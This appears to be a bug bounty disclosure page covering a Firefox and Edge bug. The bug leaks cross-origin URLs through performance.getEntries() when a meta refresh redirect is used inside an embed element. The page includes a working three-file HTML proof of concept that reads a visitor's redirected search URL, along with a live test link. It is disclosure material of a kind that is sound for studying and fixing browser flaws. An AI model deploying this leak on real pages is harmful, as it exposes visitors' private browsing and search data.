Stealing of URL cross-domain using performance.getEntries() once again, treat meta refresh channel as a redirect by setting result principal URL
A cross-origin URL could be leaked through the Resource Timing API when a meta refresh redirect was used, because the redirect was not treated as a redirect for the purpose of the result principal URL. An attacker could read the URL of a cross-origin resource loaded in an embed element.
- Fixed in 43 days
- Paid in 3 months
- Disclosed after 43 days
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.79 Safari/537.36
Steps to reproduce:
IMO, the fix for the following issue is incomplete: https://bugzilla.mozilla.org/show_bug.cgi?id=1246956
We can still access to the Cross-Origin URL, which should be blocked.
This issue has been found in Microsoft Edge too.
Proof Of Concept:
redireg.html:
<embed src="/con.html">
<script>
setTimeout(function(){alert(performance.getEntriesByType("resource")[1].name)},5000);
</script>
<meta http-equiv="refresh" content="6;url=http://pwning.click/histback.html">
<b>
<br>
<br>
<br>
Type anything into the address bar and press ENTER!
<br>
<br>
<br>
Then I'll figure out your secret search!
</b>
con.html:
<meta http-equiv="refresh" content="0;url=https://www.bing.com/search?q=test">
histback.html:
<Script>
history.back();
</script>
Test live on Microsoft Edge / Mozilla Firefox: http://pwning.click/redireg.html
While Microsoft Edge also allows to steal saved frame's history navigation through performance.getEntries() and embed tag, Mozilla Firefox only allows to access to Cross-Origin URL, but still this should not happen.
As this report involves Microsoft Edge's Cross-Origin URL access Vulnerability, please do not open this report publicly eventhough this is not considered as a Vulnerability or after problem is resolved.
Actual results:
Mozilla Firefox allows us to access Cross-Origin URL
Expected results:
Accessing to Cross-Origin URL should be not possible.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
A malicious page could learn the cross-origin URL of a resource loaded in an embed element, which should normally be hidden; the report notes that Microsoft Edge also allowed stealing saved frame history navigation, while Firefox only allowed access to the cross-origin URL.
What the attacker needed
Victim visits a malicious page; browser supports Resource Timing API
How it was found
- Create a page that embeds a cross-origin resource and uses a meta refresh to redirect after a delay.
- The embedded resource itself uses a meta refresh to redirect to a cross-origin URL.
- After the delay, read the resource timing entries and alert the name of the second entry.
- The alerted name reveals the cross-origin URL.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a web page loads something from another site, the browser normally hides the other site's address from scripts on the page. This report shows that by using a meta refresh redirect, the address could still be read through a browser feature that lists loaded resources. That would let a malicious page learn what other sites a visitor had loaded.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.